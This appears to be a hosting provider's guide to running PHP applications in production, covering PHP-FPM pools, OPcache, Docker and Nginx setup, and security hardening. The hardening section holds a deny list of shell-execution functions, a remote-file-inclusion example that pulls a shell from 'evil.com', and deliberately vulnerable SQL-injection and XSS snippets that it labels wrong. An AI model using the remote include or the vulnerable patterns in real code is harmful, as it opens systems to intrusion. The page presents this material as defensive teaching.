PHP Application Hosting: Deploy PHP Apps to Production Without cPanel
Modern PHP deployment — PHP 8.3, Composer, git push, no cPanel, no FTP.
In This Guide
PHP Application Hosting: Beyond WordPress
PHP powers more of the web than any other server-side language — not just WordPress, but custom applications, enterprise systems, APIs, and frameworks like Laravel, Symfony, CodeIgniter, and Slim. Hosting PHP applications correctly means more than finding somewhere that "supports PHP." It means understanding PHP-FPM, OPcache, and the runtime configuration that determines whether your application is fast or slow, secure or exposed.
PHP-FPM: How Modern PHP Actually Runs
Traditional PHP execution (CGI, mod_php) creates a new PHP process for every HTTP request. PHP-FPM (FastCGI Process Manager) keeps PHP processes alive in a pool, reusing them across requests. The performance difference is substantial.
Without PHP-FPM (CGI/mod_php):
1. HTTP request arrives
2. Web server spawns PHP process
3. PHP loads its configuration, extensions, and application bootstrap
4. PHP processes the request
5. PHP process exits
6. Repeat for every request
With PHP-FPM:
1. PHP-FPM pool starts at server boot, maintains N worker processes
2. HTTP request arrives
3. Web server passes request to available PHP-FPM worker
4. Worker processes the request (already bootstrapped)
5. Worker returns response and waits for next request
The savings are in steps 2-3 of the CGI model. For a PHP application with a 100ms bootstrap time, CGI adds 100ms to every request. PHP-FPM amortizes bootstrap time across thousands of requests.
PHP-FPM Pool Configuration
; /etc/php-fpm.d/www.conf
[www]
user = www-data
group = www-data
; Process management
pm = dynamic
pm.max_children = 20
pm.start_servers = 5
pm.min_spare_servers = 3
pm.max_spare_servers = 10
pm.max_requests = 500 ; Restart workers after 500 requests to prevent memory leaks
; Timeouts
request_terminate_timeout = 60s
; Logging
access.log = /var/log/php-fpm/access.log
slowlog = /var/log/php-fpm/slow.log
request_slowlog_timeout = 5s ; Log requests taking over 5 seconds
pm.max_children: Maximum PHP-FPM workers. Each worker uses RAM (typical PHP app: 50-150MB). With 1GB RAM available to PHP-FPM and average worker memory usage of 80MB: 1024 / 80 ≈ 12 workers maximum. Set pm.max_children based on your container's RAM allocation.
pm.max_requests: Restart workers after handling N requests. PHP doesn't have perfect memory management — long-running workers gradually leak memory. Periodic restarts keep memory usage bounded.
OPcache Configuration
OPcache stores compiled PHP bytecode in shared memory. Without OPcache, PHP parses and compiles source files on every request. With OPcache, compilation happens once; subsequent requests use the cached bytecode.
; php.ini
opcache.enable=1
opcache.memory_consumption=256 ; MB of shared memory for compiled code
opcache.interned_strings_buffer=16 ; MB for interned strings
opcache.max_accelerated_files=20000 ; Maximum cached files
opcache.revalidate_freq=0 ; Don't check timestamps (production)
opcache.validate_timestamps=0 ; Don't validate — requires restart on deploy
opcache.save_comments=1 ; Keep docblock comments (required by some frameworks)
opcache.fast_shutdown=1 ; Faster shutdown sequence
validate_timestamps=0 is the most important production setting. Without it, PHP checks whether source files have changed on every request. This filesystem stat call is cheap individually but adds up under load. In production where files don't change between requests, disable timestamp validation entirely.
Consequence: you must restart PHP-FPM after every code deployment. Container deployments handle this automatically — the new container starts fresh with empty OPcache, which warms up over the first few requests.
Check OPcache status:
<?php
$status = opcache_get_status();
echo "Cache hits: " . $status['opcache_statistics']['hits'] . "\n";
echo "Cache misses: " . $status['opcache_statistics']['misses'] . "\n";
echo "Memory used: " . round($status['memory_usage']['used_memory'] / 1024 / 1024) . "MB\n";
echo "Cached scripts: " . $status['opcache_statistics']['num_cached_scripts'] . "\n";
A hit rate above 95% is healthy. Below 80% indicates either max_accelerated_files is too low (increase it) or the application has too many unique file paths (common with some code generation patterns).
Dockerfile for PHP Applications
PHP-FPM + Nginx
FROM php:8.3-fpm-alpine AS base
# Install required extensions
RUN apk add --no-cache \
nginx \
supervisor \
curl
RUN docker-php-ext-install \
pdo_mysql \
opcache \
bcmath \
pcntl \
intl
RUN pecl install redis && docker-php-ext-enable redis
# Production PHP configuration
RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"
COPY docker/opcache.ini "$PHP_INI_DIR/conf.d/opcache.ini"
COPY docker/www.conf /usr/local/etc/php-fpm.d/www.conf
WORKDIR /app
FROM base AS builder
# Install Composer
COPY --from=composer:latest /usr/bin/composer /usr/bin/composer
COPY composer.json composer.lock ./
RUN composer install --no-dev --optimize-autoloader --no-scripts
COPY . .
RUN composer run-script post-install-cmd --no-interaction 2>/dev/null || true
FROM base AS production
WORKDIR /app
COPY --from=builder /app /app
COPY docker/nginx.conf /etc/nginx/nginx.conf
COPY docker/supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN chown -R www-data:www-data /app/storage /app/bootstrap/cache 2>/dev/null || true
EXPOSE 80
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]
Nginx Configuration for PHP-FPM
# /etc/nginx/nginx.conf
worker_processes auto;
error_log /dev/stderr warn;
pid /tmp/nginx.pid;
events {
worker_connections 1024;
use epoll;
multi_accept on;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" $request_time';
access_log /dev/stdout main;
sendfile on;
tcp_nopush on;
keepalive_timeout 65;
gzip on;
gzip_types text/plain text/css application/json application/javascript;
server {
listen 80;
server_name _;
root /app/public;
index index.php;
# Security headers
add_header X-Content-Type-Options nosniff;
add_header X-Frame-Options SAMEORIGIN;
add_header X-XSS-Protection "1; mode=block";
location / {
try_files $uri $uri/ /index.php?$query_string;
}
# Static files — Nginx serves directly without PHP
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf)$ {
expires 1y;
add_header Cache-Control "public, immutable";
log_not_found off;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
include fastcgi_params;
# Increase timeouts for slow operations
fastcgi_read_timeout 60;
fastcgi_send_timeout 60;
}
# Block sensitive files
location ~ /\. {
deny all;
}
location ~ /composer\.(json|lock)$ {
deny all;
}
}
}
PHP Application Security Hardening
php.ini Security Settings
; Prevent PHP from exposing its version in HTTP headers
expose_php = Off
; Disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
; Prevent file inclusion from remote URLs
allow_url_fopen = Off
allow_url_include = Off
; Session security
session.cookie_httponly = 1
session.cookie_secure = 1 ; HTTPS only
session.use_strict_mode = 1
session.cookie_samesite = Strict
; Hide PHP error details from users
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /dev/stderr
disable_functions prevents PHP from executing system commands. If your application needs exec() or system(), evaluate carefully whether that's actually necessary — most applications don't, and disabling these functions blocks an entire class of PHP injection attacks.
allow_url_include = Off prevents include('http://evil.com/shell.php') remote file inclusion attacks. No legitimate modern application uses remote includes.
Input Validation and Prepared Statements
The most common PHP security vulnerability is SQL injection through unsanitized input. Use prepared statements with bound parameters:
// Wrong — vulnerable to SQL injection
$user = $db->query("SELECT * FROM users WHERE email = '{$_POST['email']}'");
// Correct — prepared statement with bound parameter
$stmt = $db->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$_POST['email']]);
$user = $stmt->fetch();
PDO and MySQLi both support prepared statements. Any modern PHP database library (Doctrine DBAL, Eloquent, RedBeanPHP) uses them by default.
For output: never echo user-provided data directly to HTML without escaping:
// Wrong — XSS vulnerability
echo $_GET['name'];
// Correct
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
// In templates (Twig, Blade — automatic escaping)
{{ user.name }} {# Escaped by default #}
PHP Frameworks: Hosting Considerations
Laravel
Detailed in our Laravel Cloud Hosting guide. Key points:
- Requires Artisan scheduler (cron) and queue workers as separate processes
- php artisan config:cache and route:cache are essential production optimizations
- Sessions should be in Redis for multi-instance deployments
Symfony
# Production optimizations
composer install --optimize-autoloader --no-dev
APP_ENV=prod APP_DEBUG=0 php bin/console cache:warmup
Symfony's cache warmup compiles the dependency injection container, routes, and other configuration into optimized PHP files. This is equivalent to Laravel's config/route caching and should run as part of every deployment.
Environment variable for production:
APP_ENV=prod
APP_DEBUG=0
DATABASE_URL=postgresql://user:password@db:5432/myapp
Slim / Micro-frameworks
Slim and other micro-frameworks are straightforward to containerize — they typically have minimal setup requirements beyond PHP-FPM and a database connection. A minimal Slim Dockerfile:
FROM php:8.3-fpm-alpine
RUN docker-php-ext-install pdo_mysql opcache
RUN pecl install redis && docker-php-ext-enable redis
COPY --from=composer:latest /usr/bin/composer /usr/bin/composer
WORKDIR /app
COPY composer.json composer.lock ./
RUN composer install --no-dev --optimize-autoloader
COPY . .
EXPOSE 9000
CMD ["php-fpm"]
Pair with an Nginx reverse proxy container in Docker Compose.
PHP Version Management
PHP major version releases bring significant performance improvements. PHP 8.3 is 15-25% faster than PHP 7.4 for most workloads. The most important performance improvements between PHP 8.x versions:
- PHP 8.0: JIT compiler (Just-in-Time compilation) — biggest performance leap since PHP 7
- PHP 8.1: Enums, fibers, readonly properties — performance on par with 8.0, significant feature additions
- PHP 8.2: Readonly classes, DNF types — performance improvements in object handling
- PHP 8.3: Typed class constants,
json_validate()— incremental improvements
Version recommendation: PHP 8.2 minimum, 8.3 preferred. PHP 7.4 is end-of-life (security patches ended December 2022). PHP 8.0 reaches end-of-life November 2023.
With container deployments, PHP version upgrades are a Dockerfile change:
FROM php:8.3-fpm-alpine # Change this line and rebuild
No shared hosting control panel required. No "contact support to request PHP upgrade." Just rebuild and redeploy.
Monitoring PHP Applications
PHP Error Logging
; php.ini
log_errors = On
error_log = /dev/stderr ; Send to container's stderr, captured by platform
error_reporting = E_ALL ; Log all errors (filter noise in application code)
Application Performance Monitoring
For production PHP applications, application-level tracing shows where time is spent:
Sentry (error tracking): Captures PHP exceptions and errors with stack traces. Free tier available. Install: composer require sentry/sentry
Datadog APM: Full distributed tracing for PHP. Expensive but comprehensive.
Tideways: PHP-specific APM with function-level profiling. Designed specifically for PHP application performance analysis.
At minimum, Sentry error tracking is worth setting up for any production PHP application. A free tier that catches and reports PHP exceptions provides enormous debugging value at zero cost.
The PHP Hosting Checklist
- [ ] PHP-FPM enabled (not mod_php or CGI)
- [ ] OPcache enabled with
validate_timestamps=0in production - [ ]
expose_php = Offin php.ini - [ ]
display_errors = Offin php.ini production config - [ ]
allow_url_include = Off - [ ] Prepared statements for all database queries
- [ ] Sessions using secure, httponly, samesite cookies
- [ ] PHP 8.2 or 8.3
- [ ] OPcache cache flushed on deployment (via container restart)
- [ ] PHP-FPM pool sized appropriately for container RAM allocation
- [ ] Error logging going to stderr/stdout (not file-based)
Deploy Your App with Git Push
Automatic builds, environment variables, live logs, rollback, and custom domains. No server management required.
Deploy Free — No Card RequiredPowered by WHMCompleteSolution